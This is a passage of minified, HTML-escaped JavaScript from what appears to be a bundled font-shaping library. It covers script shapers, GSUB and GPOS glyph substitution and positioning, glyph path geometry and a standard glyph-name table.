DlpTGUndeQlG3fdZWdRPoPgl3mmDlsLnaey/4X3tVuU+o6L3/Pym+qlLV/jk6rlBRd8394hZ6JdnuqIv2ykOh3pfq96Wkq/E8qu2xl88/tOJ4R3tfmpbGi3c5T859bzqr7MbsN03iI5itUNj5eaEKWqIX/KJCQ/iFWNZMmHXs8ovWk53JzFq5vPul6zDjLV36pX7bzvNzB0YlQOZephWtRS5T7eeSq8030R77/HvC1d7tN83Zt9yltrDdwSR0XxsZd5l+MvvvU1/M9jSnj+Nh6FPJbBld/w6XHXH5MZeXrOfS/65g9RTl1JCa8chzX2RZ9/3lXSh4/VqWfEBNq4b82Ytp6m+9Qqxir1jX+rfPdT1vvsWhM6bPbmON6E1LnPCZW7L0qqXswmtqf0MQelZj4myrzYtzvIYmURlvtqapyx+gzRfd0XPfahVSOquMoG+dibBdl46iyfdbV1qvUW9m8+KTudMvkzZe/pqTJ+pWTflX5zw1fVfox6ZTVc8hvHflOSb+OuG1JsZ0kufXAJf8D&quot;)),Dye=new EH(V4(X4));class $n extends Fm{static planFeatures(t){t.addStage(Rye),t.addStage([&quot;locl&quot;,&quot;ccmp&quot;,&quot;nukt&quot;,&quot;akhn&quot;]),t.addStage(zT),t.addStage([&quot;rphf&quot;],!1),t.addStage(Pye),t.addStage(zT),t.addStage([&quot;pref&quot;]),t.addStage(Qye),t.addStage([&quot;rkrf&quot;,&quot;abvf&quot;,&quot;blwf&quot;,&quot;half&quot;,&quot;pstf&quot;,&quot;vatu&quot;,&quot;cjct&quot;]),t.addStage(Fye),t.addStage([&quot;abvs&quot;,&quot;blws&quot;,&quot;pres&quot;,&quot;psts&quot;,&quot;dist&quot;,&quot;abvm&quot;,&quot;blwm&quot;])}static assignFeatures(t,r){for(let n=r.length-1;n&gt;=0;n--){let i=r[n].codePoints[0];if(MT[i]){let s=MT[i].map(o=&gt;{let l=t.font.glyphForCodePoint(o);return new q0(t.font,l.id,[o],r[n].features)});r.splice(n,1,...s)}}}}Bc($n,&quot;zeroMarkWidths&quot;,&quot;BEFORE_GPOS&quot;);function UT(e){return _ye.get(e.codePoints[0])}class Tye{constructor(t,r,n){this.category=t,this.syllableType=r,this.syllable=n}}function Rye(e,t){let r=0;for(let[n,i,s]of Dye.match(t.map(UT))){++r;for(let l=n;l&lt;=i;l++)t[l].shaperInfo=new Tye(kye[UT(t[l])],s[0],r);let o=t[n].shaperInfo.category===&quot;R&quot;?1:Math.min(3,i-n);for(let l=n;l&lt;n+o;l++)t[l].features.rphf=!0}}function zT(e,t){for(let r of t)r.substituted=!1}function Pye(e,t){for(let r of t)r.substituted&amp;&amp;r.features.rphf&amp;&amp;(r.shaperInfo.category=&quot;R&quot;)}function Qye(e,t){for(let r of t)r.substituted&amp;&amp;(r.shaperInfo.category=&quot;VPre&quot;)}function Fye(e,t){let r=e.glyphForCodePoint(9676).id;for(let n=0,i=$T(t,0);n&lt;t.length;n=i,i=$T(t,n)){let s,o,l=t[n].shaperInfo,c=l.syllableType;if(!(c!==&quot;virama_terminated_cluster&quot;&amp;&amp;c!==&quot;standard_cluster&quot;&amp;&amp;c!==&quot;broken_cluster&quot;)){if(c===&quot;broken_cluster&quot;&amp;&amp;r){let d=new q0(e,r,[9676]);for(d.shaperInfo=l,s=n;s&lt;i&amp;&amp;t[s].shaperInfo.category===&quot;R&quot;;s++);t.splice(++s,0,d),i++}if(l.category===&quot;R&quot;&amp;&amp;i-n&gt;1){for(s=n+1;s&lt;i;s++)if(l=t[s].shaperInfo,HT(l)||hb(t[s])){hb(t[s])&amp;&amp;s--,t.splice(n,0,...t.splice(n+1,s-n),t[s]);break}}for(s=n,o=i;s&lt;i;s++)l=t[s].shaperInfo,HT(l)||hb(t[s])?o=hb(t[s])?s+1:s:(l.category===&quot;VPre&quot;||l.category===&quot;VMPre&quot;)&amp;&amp;o&lt;s&amp;&amp;t.splice(o,1,t[s],...t.splice(o,s-o))}}}function $T(e,t){if(t&gt;=e.length)return t;let r=e[t].shaperInfo.syllable;for(;++t&lt;e.length&amp;&amp;e[t].shaperInfo.syllable===r;);return t}function hb(e){return e.shaperInfo.category===&quot;H&quot;&amp;&amp;!e.isLigated}function HT(e){return e.category===&quot;B&quot;||e.category===&quot;GB&quot;}const Oye={arab:Jh,mong:Jh,syrc:Jh,&quot;nko &quot;:Jh,phag:Jh,mand:Jh,mani:Jh,phlp:Jh,hang:YH,bng2:Ls,beng:Ls,dev2:Ls,deva:Ls,gjr2:Ls,gujr:Ls,guru:Ls,gur2:Ls,knda:Ls,knd2:Ls,mlm2:Ls,mlym:Ls,ory2:Ls,orya:Ls,taml:Ls,tml2:Ls,telu:Ls,tel2:Ls,khmr:Ls,bali:$n,batk:$n,brah:$n,bugi:$n,buhd:$n,cakm:$n,cham:$n,dupl:$n,egyp:$n,gran:$n,hano:$n,java:$n,kthi:$n,kali:$n,khar:$n,khoj:$n,sind:$n,lepc:$n,limb:$n,mahj:$n,mtei:$n,modi:$n,hmng:$n,rjng:$n,saur:$n,shrd:$n,sidd:$n,sinh:Ls,sund:$n,sylo:$n,tglg:$n,tagb:$n,tale:$n,lana:$n,tavt:$n,takr:$n,tibt:$n,tfng:$n,tirh:$n,latn:Fm,DFLT:Fm};function Lye(e){Array.isArray(e)||(e=[e]);for(let t of e){let r=Oye[t];if(r)return r}return Fm}class Mye extends Cw{applyLookup(t,r){switch(t){case 1:{let i=this.coverageIndex(r.coverage);if(i===-1)return!1;let s=this.glyphIterator.cur;switch(r.version){case 1:s.id=s.id+r.deltaGlyphID&amp;65535;break;case 2:s.id=r.substitute.get(i);break}return!0}case 2:{let i=this.coverageIndex(r.coverage);if(i!==-1){let s=r.sequences.get(i);if(s.length===0)return this.glyphs.splice(this.glyphIterator.index,1),!0;this.glyphIterator.cur.id=s[0],this.glyphIterator.cur.ligatureComponent=0;let o=this.glyphIterator.cur.features,l=this.glyphIterator.cur,c=s.slice(1).map((d,u)=&gt;{let h=new q0(this.font,d,void 0,o);return h.shaperInfo=l.shaperInfo,h.isLigated=l.isLigated,h.ligatureComponent=u+1,h.substituted=!0,h.isMultiplied=!0,h});return this.glyphs.splice(this.glyphIterator.index+1,0,...c),!0}return!1}case 3:{let i=this.coverageIndex(r.coverage);if(i!==-1){let s=0;return this.glyphIterator.cur.id=r.alternateSet.get(i)[s],!0}return!1}case 4:{let i=this.coverageIndex(r.coverage);if(i===-1)return!1;for(let s of r.ligatureSets.get(i)){let o=this.sequenceMatchIndices(1,s.components);if(!o)continue;let l=this.glyphIterator.cur,c=l.codePoints.slice();for(let v of o)c.push(...this.glyphs[v].codePoints);let d=new q0(this.font,s.glyph,c,l.features);d.shaperInfo=l.shaperInfo,d.isLigated=!0,d.substituted=!0;let u=l.isMark;for(let v=0;v&lt;o.length&amp;&amp;u;v++)u=this.glyphs[o[v]].isMark;d.ligatureID=u?null:this.ligatureID++;let h=l.ligatureID,p=l.codePoints.length,A=p,y=this.glyphIterator.index+1;for(let v of o){if(u)y=v;else for(;y&lt;v;){var n=A-p+Math.min(this.glyphs[y].ligatureComponent||1,p);this.glyphs[y].ligatureID=d.ligatureID,this.glyphs[y].ligatureComponent=n,y++}h=this.glyphs[y].ligatureID,p=this.glyphs[y].codePoints.length,A+=p,y++}if(h&amp;&amp;!u)for(let v=y;v&lt;this.glyphs.length&amp;&amp;this.glyphs[v].ligatureID===h;v++){var n=A-p+Math.min(this.glyphs[v].ligatureComponent||1,p);this.glyphs[v].ligatureComponent=n}for(let v=o.length-1;v&gt;=0;v--)this.glyphs.splice(o[v],1);return this.glyphs[this.glyphIterator.index]=d,!0}return!1}case 5:return this.applyContext(r);case 6:return this.applyChainingContext(r);case 7:return this.applyLookup(r.lookupType,r.extension);default:throw new Error(`GSUB lookupType ${t} is not supported`)}}}class Uye extends Cw{applyPositionValue(t,r){let n=this.positions[this.glyphIterator.peekIndex(t)];r.xAdvance!=null&amp;&amp;(n.xAdvance+=r.xAdvance),r.yAdvance!=null&amp;&amp;(n.yAdvance+=r.yAdvance),r.xPlacement!=null&amp;&amp;(n.xOffset+=r.xPlacement),r.yPlacement!=null&amp;&amp;(n.yOffset+=r.yPlacement);let i=this.font._variationProcessor,s=this.font.GDEF&amp;&amp;this.font.GDEF.itemVariationStore;i&amp;&amp;s&amp;&amp;(r.xPlaDevice&amp;&amp;(n.xOffset+=i.getDelta(s,r.xPlaDevice.a,r.xPlaDevice.b)),r.yPlaDevice&amp;&amp;(n.yOffset+=i.getDelta(s,r.yPlaDevice.a,r.yPlaDevice.b)),r.xAdvDevice&amp;&amp;(n.xAdvance+=i.getDelta(s,r.xAdvDevice.a,r.xAdvDevice.b)),r.yAdvDevice&amp;&amp;(n.yAdvance+=i.getDelta(s,r.yAdvDevice.a,r.yAdvDevice.b)))}applyLookup(t,r){switch(t){case 1:{let i=this.coverageIndex(r.coverage);if(i===-1)return!1;switch(r.version){case 1:this.applyPositionValue(0,r.value);break;case 2:this.applyPositionValue(0,r.values.get(i));break}return!0}case 2:{let i=this.glyphIterator.peek();if(!i)return!1;let s=this.coverageIndex(r.coverage);if(s===-1)return!1;switch(r.version){case 1:let o=r.pairSets.get(s);for(let d of o)if(d.secondGlyph===i.id)return this.applyPositionValue(0,d.value1),this.applyPositionValue(1,d.value2),!0;return!1;case 2:let l=this.getClassID(this.glyphIterator.cur.id,r.classDef1),c=this.getClassID(i.id,r.classDef2);if(l===-1||c===-1)return!1;var n=r.classRecords.get(l).get(c);return this.applyPositionValue(0,n.value1),this.applyPositionValue(1,n.value2),!0}}case 3:{let i=this.glyphIterator.peekIndex(),s=this.glyphs[i];if(!s)return!1;let o=r.entryExitRecords[this.coverageIndex(r.coverage)];if(!o||!o.exitAnchor)return!1;let l=r.entryExitRecords[this.coverageIndex(r.coverage,s.id)];if(!l||!l.entryAnchor)return!1;let c=this.getAnchor(l.entryAnchor),d=this.getAnchor(o.exitAnchor),u=this.positions[this.glyphIterator.index],h=this.positions[i],p;switch(this.direction){case&quot;ltr&quot;:u.xAdvance=d.x+u.xOffset,p=c.x+h.xOffset,h.xAdvance-=p,h.xOffset-=p;break;case&quot;rtl&quot;:p=d.x+u.xOffset,u.xAdvance-=p,u.xOffset-=p,h.xAdvance=c.x+h.xOffset;break}return this.glyphIterator.flags.rightToLeft?(this.glyphIterator.cur.cursiveAttachment=i,u.yOffset=c.y-d.y):(s.cursiveAttachment=this.glyphIterator.index,u.yOffset=d.y-c.y),!0}case 4:{let i=this.coverageIndex(r.markCoverage);if(i===-1)return!1;let s=this.glyphIterator.index;for(;--s&gt;=0&amp;&amp;(this.glyphs[s].isMark||this.glyphs[s].ligatureComponent&gt;0););if(s&lt;0)return!1;let o=this.coverageIndex(r.baseCoverage,this.glyphs[s].id);if(o===-1)return!1;let l=r.markArray[i],c=r.baseArray[o][l.class];return this.applyAnchor(l,c,s),!0}case 5:{let i=this.coverageIndex(r.markCoverage);if(i===-1)return!1;let s=this.glyphIterator.index;for(;--s&gt;=0&amp;&amp;this.glyphs[s].isMark;);if(s&lt;0)return!1;let o=this.coverageIndex(r.ligatureCoverage,this.glyphs[s].id);if(o===-1)return!1;let l=r.ligatureArray[o],c=this.glyphIterator.cur,d=this.glyphs[s],u=d.ligatureID&amp;&amp;d.ligatureID===c.ligatureID&amp;&amp;c.ligatureComponent&gt;0?Math.min(c.ligatureComponent,d.codePoints.length)-1:d.codePoints.length-1,h=r.markArray[i],p=l[u][h.class];return this.applyAnchor(h,p,s),!0}case 6:{let i=this.coverageIndex(r.mark1Coverage);if(i===-1)return!1;let s=this.glyphIterator.peekIndex(-1),o=this.glyphs[s];if(!o||!o.isMark)return!1;let l=this.glyphIterator.cur,c=!1;if(l.ligatureID===o.ligatureID?l.ligatureID?l.ligatureComponent===o.ligatureComponent&amp;&amp;(c=!0):c=!0:(l.ligatureID&amp;&amp;!l.ligatureComponent||o.ligatureID&amp;&amp;!o.ligatureComponent)&amp;&amp;(c=!0),!c)return!1;let d=this.coverageIndex(r.mark2Coverage,o.id);if(d===-1)return!1;let u=r.mark1Array[i],h=r.mark2Array[d][u.class];return this.applyAnchor(u,h,s),!0}case 7:return this.applyContext(r);case 8:return this.applyChainingContext(r);case 9:return this.applyLookup(r.lookupType,r.extension);default:throw new Error(`Unsupported GPOS table: ${t}`)}}applyAnchor(t,r,n){let i=this.getAnchor(r),s=this.getAnchor(t.markAnchor);this.positions[n];let o=this.positions[this.glyphIterator.index];o.xOffset=i.x-s.x,o.yOffset=i.y-s.y,this.glyphIterator.cur.markAttachment=n}getAnchor(t){let r=t.xCoordinate,n=t.yCoordinate,i=this.font._variationProcessor,s=this.font.GDEF&amp;&amp;this.font.GDEF.itemVariationStore;return i&amp;&amp;s&amp;&amp;(t.xDeviceTable&amp;&amp;(r+=i.getDelta(s,t.xDeviceTable.a,t.xDeviceTable.b)),t.yDeviceTable&amp;&amp;(n+=i.getDelta(s,t.yDeviceTable.a,t.yDeviceTable.b))),{x:r,y:n}}applyFeatures(t,r,n){super.applyFeatures(t,r,n);for(var i=0;i&lt;this.glyphs.length;i++)this.fixCursiveAttachment(i);this.fixMarkAttachment()}fixCursiveAttachment(t){let r=this.glyphs[t];if(r.cursiveAttachment!=null){let n=r.cursiveAttachment;r.cursiveAttachment=null,this.fixCursiveAttachment(n),this.positions[t].yOffset+=this.positions[n].yOffset}}fixMarkAttachment(){for(let t=0;t&lt;this.glyphs.length;t++){let r=this.glyphs[t];if(r.markAttachment!=null){let n=r.markAttachment;if(this.positions[t].xOffset+=this.positions[n].xOffset,this.positions[t].yOffset+=this.positions[n].yOffset,this.direction===&quot;ltr&quot;)for(let i=n;i&lt;t;i++)this.positions[t].xOffset-=this.positions[i].xAdvance,this.positions[t].yOffset-=this.positions[i].yAdvance;else for(let i=n+1;i&lt;t+1;i++)this.positions[t].xOffset+=this.positions[i].xAdvance,this.positions[t].yOffset+=this.positions[i].yAdvance}}}}class zye{setup(t){this.glyphInfos=t.glyphs.map(n=&gt;new q0(this.font,n.id,[...n.codePoints]));let r=null;this.GPOSProcessor&amp;&amp;(r=this.GPOSProcessor.selectScript(t.script,t.language,t.direction)),this.GSUBProcessor&amp;&amp;(r=this.GSUBProcessor.selectScript(t.script,t.language,t.direction)),this.shaper=Lye(r),this.plan=new zve(this.font,r,t.direction),this.shaper.plan(this.plan,this.glyphInfos,t.features);for(let n in this.plan.allFeatures)t.features[n]=!0}substitute(t){this.GSUBProcessor&amp;&amp;(this.plan.process(this.GSUBProcessor,this.glyphInfos),t.glyphs=this.glyphInfos.map(r=&gt;this.font.getGlyph(r.id,r.codePoints)))}position(t){return this.shaper.zeroMarkWidths===&quot;BEFORE_GPOS&quot;&amp;&amp;this.zeroMarkAdvances(t.positions),this.GPOSProcessor&amp;&amp;this.plan.process(this.GPOSProcessor,this.glyphInfos,t.positions),this.shaper.zeroMarkWidths===&quot;AFTER_GPOS&quot;&amp;&amp;this.zeroMarkAdvances(t.positions),t.direction===&quot;rtl&quot;&amp;&amp;(t.glyphs.reverse(),t.positions.reverse()),this.GPOSProcessor&amp;&amp;this.GPOSProcessor.features}zeroMarkAdvances(t){for(let r=0;r&lt;this.glyphInfos.length;r++)this.glyphInfos[r].isMark&amp;&amp;(t[r].xAdvance=0,t[r].yAdvance=0)}cleanup(){this.glyphInfos=null,this.plan=null,this.shaper=null}getAvailableFeatures(t,r){let n=[];return this.GSUBProcessor&amp;&amp;(this.GSUBProcessor.selectScript(t,r),n.push(...Object.keys(this.GSUBProcessor.features))),this.GPOSProcessor&amp;&amp;(this.GPOSProcessor.selectScript(t,r),n.push(...Object.keys(this.GPOSProcessor.features))),n}constructor(t){this.font=t,this.glyphInfos=null,this.plan=null,this.GSUBProcessor=null,this.GPOSProcessor=null,this.fallbackPosition=!0,t.GSUB&amp;&amp;(this.GSUBProcessor=new Mye(t,t.GSUB)),t.GPOS&amp;&amp;(this.GPOSProcessor=new Uye(t,t.GPOS))}}class $ye{layout(t,r,n,i,s){if(typeof r==&quot;string&quot;&amp;&amp;(s=i,i=n,n=r,r=[]),typeof t==&quot;string&quot;){n==null&amp;&amp;(n=xve(t));var o=this.font.glyphsForString(t)}else{if(n==null){let d=[];for(let u of t)d.push(...u.codePoints);n=vve(d)}var o=t}let l=new bve(o,r,n,i,s);return o.length===0?(l.positions=[],l):(this.engine&amp;&amp;this.engine.setup&amp;&amp;this.engine.setup(l),this.substitute(l),this.position(l),this.hideDefaultIgnorables(l.glyphs,l.positions),this.engine&amp;&amp;this.engine.cleanup&amp;&amp;this.engine.cleanup(),l)}substitute(t){this.engine&amp;&amp;this.engine.substitute&amp;&amp;this.engine.substitute(t)}position(t){t.positions=t.glyphs.map(n=&gt;new wve(n.advanceWidth));let r=null;this.engine&amp;&amp;this.engine.position&amp;&amp;(r=this.engine.position(t)),!r&amp;&amp;(!this.engine||this.engine.fallbackPosition)&amp;&amp;(this.unicodeLayoutEngine||(this.unicodeLayoutEngine=new gve(this.font)),this.unicodeLayoutEngine.positionGlyphs(t.glyphs,t.positions)),(!r||!r.kern)&amp;&amp;t.features.kern!==!1&amp;&amp;this.font.kern&amp;&amp;(this.kernProcessor||(this.kernProcessor=new pve(this.font)),this.kernProcessor.process(t.glyphs,t.positions),t.features.kern=!0)}hideDefaultIgnorables(t,r){let n=this.font.glyphForCodePoint(32);for(let i=0;i&lt;t.length;i++)this.isDefaultIgnorable(t[i].codePoints[0])&amp;&amp;(t[i]=n,r[i].xAdvance=0,r[i].yAdvance=0)}isDefaultIgnorable(t){let r=t&gt;&gt;16;if(r===0)switch(t&gt;&gt;8){case 0:return t===173;case 3:return t===847;case 6:return t===1564;case 23:return 6068&lt;=t&amp;&amp;t&lt;=6069;case 24:return 6155&lt;=t&amp;&amp;t&lt;=6158;case 32:return 8203&lt;=t&amp;&amp;t&lt;=8207||8234&lt;=t&amp;&amp;t&lt;=8238||8288&lt;=t&amp;&amp;t&lt;=8303;case 254:return 65024&lt;=t&amp;&amp;t&lt;=65039||t===65279;case 255:return 65520&lt;=t&amp;&amp;t&lt;=65528;default:return!1}else switch(r){case 1:return 113824&lt;=t&amp;&amp;t&lt;=113827||119155&lt;=t&amp;&amp;t&lt;=119162;case 14:return 917504&lt;=t&amp;&amp;t&lt;=921599;default:return!1}}getAvailableFeatures(t,r){let n=[];return this.engine&amp;&amp;n.push(...this.engine.getAvailableFeatures(t,r)),this.font.kern&amp;&amp;n.indexOf(&quot;kern&quot;)===-1&amp;&amp;n.push(&quot;kern&quot;),n}stringsForGlyph(t){let r=new Set,n=this.font._cmapProcessor.codePointsForGlyph(t);for(let i of n)r.add(String.fromCodePoint(i));if(this.engine&amp;&amp;this.engine.stringsForGlyph)for(let i of this.engine.stringsForGlyph(t))r.add(i);return Array.from(r)}constructor(t){this.font=t,this.unicodeLayoutEngine=null,this.kernProcessor=null,this.font.morx?this.engine=new Uve(this.font):(this.font.GSUB||this.font.GPOS)&amp;&amp;(this.engine=new zye(this.font))}}const Hye={moveTo:&quot;M&quot;,lineTo:&quot;L&quot;,quadraticCurveTo:&quot;Q&quot;,bezierCurveTo:&quot;C&quot;,closePath:&quot;Z&quot;};class Y1{toFunction(){return t=&gt;{this.commands.forEach(r=&gt;t[r.command].apply(t,r.args))}}toSVG(){return this.commands.map(r=&gt;{let n=r.args.map(i=&gt;Math.round(i*100)/100);return`${Hye[r.command]}${n.join(&quot; &quot;)}`}).join(&quot;&quot;)}get cbox(){if(!this._cbox){let t=new Qm;for(let r of this.commands)for(let n=0;n&lt;r.args.length;n+=2)t.addPoint(r.args[n],r.args[n+1]);this._cbox=Object.freeze(t)}return this._cbox}get bbox(){if(this._bbox)return this._bbox;let t=new Qm,r=0,n=0,i=E=&gt;Math.pow(1-E,3)*A[j]+3*Math.pow(1-E,2)*E*y[j]+3*(1-E)*Math.pow(E,2)*v[j]+Math.pow(E,3)*w[j];for(let E of this.commands)switch(E.command){case&quot;moveTo&quot;:case&quot;lineTo&quot;:let[S,_]=E.args;t.addPoint(S,_),r=S,n=_;break;case&quot;quadraticCurveTo&quot;:case&quot;bezierCurveTo&quot;:if(E.command===&quot;quadraticCurveTo&quot;)var[s,o,h,p]=E.args,l=r+2/3*(s-r),c=n+2/3*(o-n),d=h+2/3*(s-h),u=p+2/3*(o-p);else var[l,c,d,u,h,p]=E.args;t.addPoint(h,p);for(var A=[r,n],y=[l,c],v=[d,u],w=[h,p],j=0;j&lt;=1;j++){let C=6*A[j]-12*y[j]+6*v[j],Q=-3*A[j]+9*y[j]-9*v[j]+3*w[j];if(E=3*y[j]-3*A[j],Q===0){if(C===0)continue;let O=-E/C;0&lt;O&amp;&amp;O&lt;1&amp;&amp;(j===0?t.addPoint(i(O),t.maxY):j===1&amp;&amp;t.addPoint(t.maxX,i(O)));continue}let R=Math.pow(C,2)-4*E*Q;if(R&lt;0)continue;let T=(-C+Math.sqrt(R))/(2*Q);0&lt;T&amp;&amp;T&lt;1&amp;&amp;(j===0?t.addPoint(i(T),t.maxY):j===1&amp;&amp;t.addPoint(t.maxX,i(T)));let M=(-C-Math.sqrt(R))/(2*Q);0&lt;M&amp;&amp;M&lt;1&amp;&amp;(j===0?t.addPoint(i(M),t.maxY):j===1&amp;&amp;t.addPoint(t.maxX,i(M)))}r=h,n=p;break}return this._bbox=Object.freeze(t)}mapPoints(t){let r=new Y1;for(let n of this.commands){let i=[];for(let s=0;s&lt;n.args.length;s+=2){let[o,l]=t(n.args[s],n.args[s+1]);i.push(o,l)}r[n.command](...i)}return r}transform(t,r,n,i,s,o){return this.mapPoints((l,c)=&gt;{const d=t*l+n*c+s,u=r*l+i*c+o;return[d,u]})}translate(t,r){return this.transform(1,0,0,1,t,r)}rotate(t){let r=Math.cos(t),n=Math.sin(t);return this.transform(r,n,-n,r,0,0)}scale(t,r=t){return this.transform(t,0,0,r,0,0)}constructor(){this.commands=[],this._bbox=null,this._cbox=null}}for(let e of[&quot;moveTo&quot;,&quot;lineTo&quot;,&quot;quadraticCurveTo&quot;,&quot;bezierCurveTo&quot;,&quot;closePath&quot;])Y1.prototype[e]=function(...t){return this._bbox=this._cbox=null,this.commands.push({command:e,args:t}),this};var _x=[&quot;.notdef&quot;,&quot;.null&quot;,&quot;nonmarkingreturn&quot;,&quot;space&quot;,&quot;exclam&quot;,&quot;quotedbl&quot;,&quot;numbersign&quot;,&quot;dollar&quot;,&quot;percent&quot;,&quot;ampersand&quot;,&quot;quotesingle&quot;,&quot;parenleft&quot;,&quot;parenright&quot;,&quot;asterisk&quot;,&quot;plus&quot;,&quot;comma&quot;,&quot;hyphen&quot;,&quot;period&quot;,&quot;slash&quot;,&quot;zero&quot;,&quot;one&quot;,&quot;two&quot;,&quot;three&quot;,&quot;four&quot;,&quot;five&quot;,&quot;six&quot;,&quot;seven&quot;,&quot;eight&quot;,&quot;nine&quot;,&quot;colon&quot;,&quot;semicolon&quot;,&quot;less&quot;,&quot;equal&quot;,&quot;greater&quot;,&quot;question&quot;,&quot;at&quot;,&quot;A&quot;,&quot;B&quot;,&quot;C&quot;,&quot;D&quot;,&quot;E&quot;,&quot;F&quot;,&quot;G&quot;,&quot;H&quot;,&quot;I&quot;,&quot;J&quot;,&quot;K&quot;,&quot;L&quot;,&quot;M&quot;,&quot;N&quot;,&quot;O&quot;,&quot;P&quot;,&quot;Q&quot;,&quot;R&quot;,&quot;S&quot;,&quot;T&quot;,&quot;U&quot;,&quot;V&quot;,&quot;W&quot;,&quot;X&quot;,&quot;Y&quot;,&quot;Z&quot;,&quot;bracketleft&quot;,&quot;backslash&quot;,&quot;bracketright&quot;,&quot;asciicircum&quot;,&quot;underscore&quot;,&quot;grave&quot;,&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;braceleft&quot;,&quot;bar&quot;,&quot;braceright&quot;,&quot;asciitilde&quot;,&quot;Adieresis&quot;,&quot;Aring&quot;,&quot;Ccedilla&quot;,&quot;Eacute&quot;,&quot;Ntilde&quot;,&quot;Odieresis&quot;,&quot;Udieresis&quot;,&quot;aacute&quot;,&quot;agrave&quot;,&quot;acircumflex&quot;,&quot;adieresis&quot;,&quot;atilde&quot;,&quot;aring&quot;,&quot;ccedilla&quot;,&quot;eacute&quot;,&quot;egrave&quot;,&quot;ecircumflex&quot;,&quot;edieresis&quot;,&quot;iacute&quot;,&quot;igrave&quot;,&quot;icircumflex&quot;,&quot;idieresis&quot;,&quot;ntilde&quot;,&quot;oacute&quot;,&quot;ograve&quot;,&quot;ocircumflex&quot;,&quot;odieresis&quot;,&quot;otilde&quot;,&quot;uacute&quot;,&quot;ugrave&quot;,&quot;ucircumflex&quot;,&quot;udieresis&quot;,&quot;dagger&quot;,&quot;degree&quot;,&quot;cent&quot;,&quot;sterling&quot;,&quot;section&quot;,&quot;bullet&quot;,&quot;paragraph&quot;,&quot;germandbls&quot;,&quot;registered&quot;,&quot;copyright&quot;,&quot;trademark&quot;,&quot;acute&quot;,&quot;dieresis&quot;,&quot;notequal&quot;,&quot;AE&quot;,&quot;Oslash&quot;,&quot;infinity&quot;,&quot;plusminus&quot;,&quot;lessequal&quot;,&quot;greaterequal&quot;,&quot;yen&quot;,&quot;mu&quot;,&quot;partialdiff&quot;,&quot;summation&quot;,&quot;product&quot;,&quot;pi&quot;,&quot;integral&quot;,&quot;ordfeminine&quot;,&quot;ordmasculine&quot;,&quot;Omega&quot;,&quot;ae&quot;,&quot;oslash&quot;,&quot;questiondown&quot;,&quot;exclamdown&quot;,&quot;logicalnot&quot;,&quot;radical&quot;,&quot;florin&quot;,&quot;approxequal&quot;,&quot;Delta&quot;,&quot;guillemotleft&quot;,&quot;guillemotright&quot;,&quot;ellipsis&quot;,&quot;nonbreakingspace&quot;,&quot;Agrave&quot;,&quot;Atilde&quot;,&quot;Otilde&quot;,&quot;OE&quot;,&quot;oe&quot;,&quot;endash&quot;,&quot;emdash&quot;,&quot;quotedblleft&quot;,&quot;quotedblright&quot;,&quot;quoteleft&quot;,&quot;quoteright&quot;,&quot;divide&quot;,&quot;lozenge&quot;,&quot;ydieresis&quot;,&quot;Ydieresis&quot;,&quot;fraction&quot;,&quot;currency&quot;,&quot;guilsinglleft&quot;,&quot;guilsinglright&quot;,&quot;fi&quot;,&quot;fl&quot;,&quot;daggerdbl&quot;,&quot;periodcentered&quot;,&quot;quotesinglbase&quot;,&quot;quotedblbase&quot;,&quot;perthousand&quot;,&quot;Acircumflex&quot;,&quot;Ecircumflex&quot;,&quot;Aacute&quot;,&quot;Edieresis&quot;,&quot;Egrave&quot;,&quot;Iacute&quot;,&quot;Icircumflex&quot;,&quot;Idieresis&quot;,&quot;Igrave&quot;,&quot;Oacute&quot;,&quot;Ocircumflex&quot;,&quot;apple&quot;,&quot;Ograve&quot;,&quot;Uacute&quot;,&quot;Ucircumflex&quot;,&quot;Ugrave&quot;,&quot;dotlessi&quot;,&quot;circumflex&quot;,&quot;tilde&quot;,&quot;macron&quot;,&quot;breve&quot;,&quot;dotaccent&quot;,&quot;ring&quot;,&quot;cedilla&quot;,&quot;hungarumlaut&quot;,&quot;ogonek&quot;,&quot;caron&quot;,&quot;Lslash&quot;,&quot;lslash&quot;,&quot;Scaron&quot;,&quot;scaron&quot;,&quot;Zcaron&quot;,&quot;zcaron&quot;,&quot;brokenbar&quot;,&quot;Eth&quot;,&quot;eth&quot;,&quot;Yacute&quot;,&quot;yacute&quot;,&quot;Thorn&quot;,&quot;thorn&quot;,&quot;minus&quot;,&quot;multiply&quot;,&quot;onesuperior&quot;,&quot;twosuperior&quot;,&quot;threesuperior&quot;,&quot;onehalf&quot;,&quot;onequarter&quot;,&quot;threequarters&quot;,&quot;franc&quot;,&quot;Gbreve&quot;,&quot;gbreve&quot;,&quot;Idotaccent&quot;,&quot;Scedilla&quot;,&quot;scedilla&quot;,&quot;Cacute&quot;,&quot;cacute&quot;,&quot;Ccaron&quot;,&quot;ccaron&quot;,&quot;dcroat&quot;];class Yd{_getPath(){return new Y1}_getCBox(){return this.path.cbox}_getBBox(){return this.path.bbox}_getTableMetrics(t){if(this.id&lt;t.metrics.length)return t.metrics.get(this.id);let r=t.metrics.get(t.metrics.length-1);return{advance:r?r.advance:0,bearing:t.bearings.get(this.id-t.metrics.length)||0}}_getMetrics(t){if(this._metrics)return this._metrics;let{advance:r,bearing:n}=this._getTableMetrics(this._font.hmtx);if(this._font.vmtx)var{advance:i,bearing:s}=this._getTableMetrics(this._font.vmtx);else{let o;if((typeof t&gt;&quot;u&quot;||t===null)&amp;&amp;({cbox:t}=this),(o=this._font[&quot;OS/2&quot;])&amp;&amp;o.version&gt;0)var i=Math.abs(o.typoAscender-o.typoDescender),s=o.typoAscender-t.maxY;else{let{hhea:l}=this._font;var i=Math.abs(l.ascent-l.descent),s=l.ascent-t.maxY}}return this._font._variationProcessor&amp;&amp;this._font.HVAR&amp;&amp;(r+=this._font._variationProcessor.getAdvanceAdjustment(this.id,this._font.HVAR)),this._metrics={advanceWidth:r,advanceHeight:i,leftBearing:n,topBearing:s}}get cbox(){return this._getCBox()}get bbox(){return this._getBBox()}get path(){return this._getPath()}getScaledPath(t){let r=1/this._font.unitsPerEm*t;return this.path.scale(r)}get advanceWidth(){return this._getMetrics().advanceWidth}get advanceHeight(){return this._getMetrics().advanceHeight}get 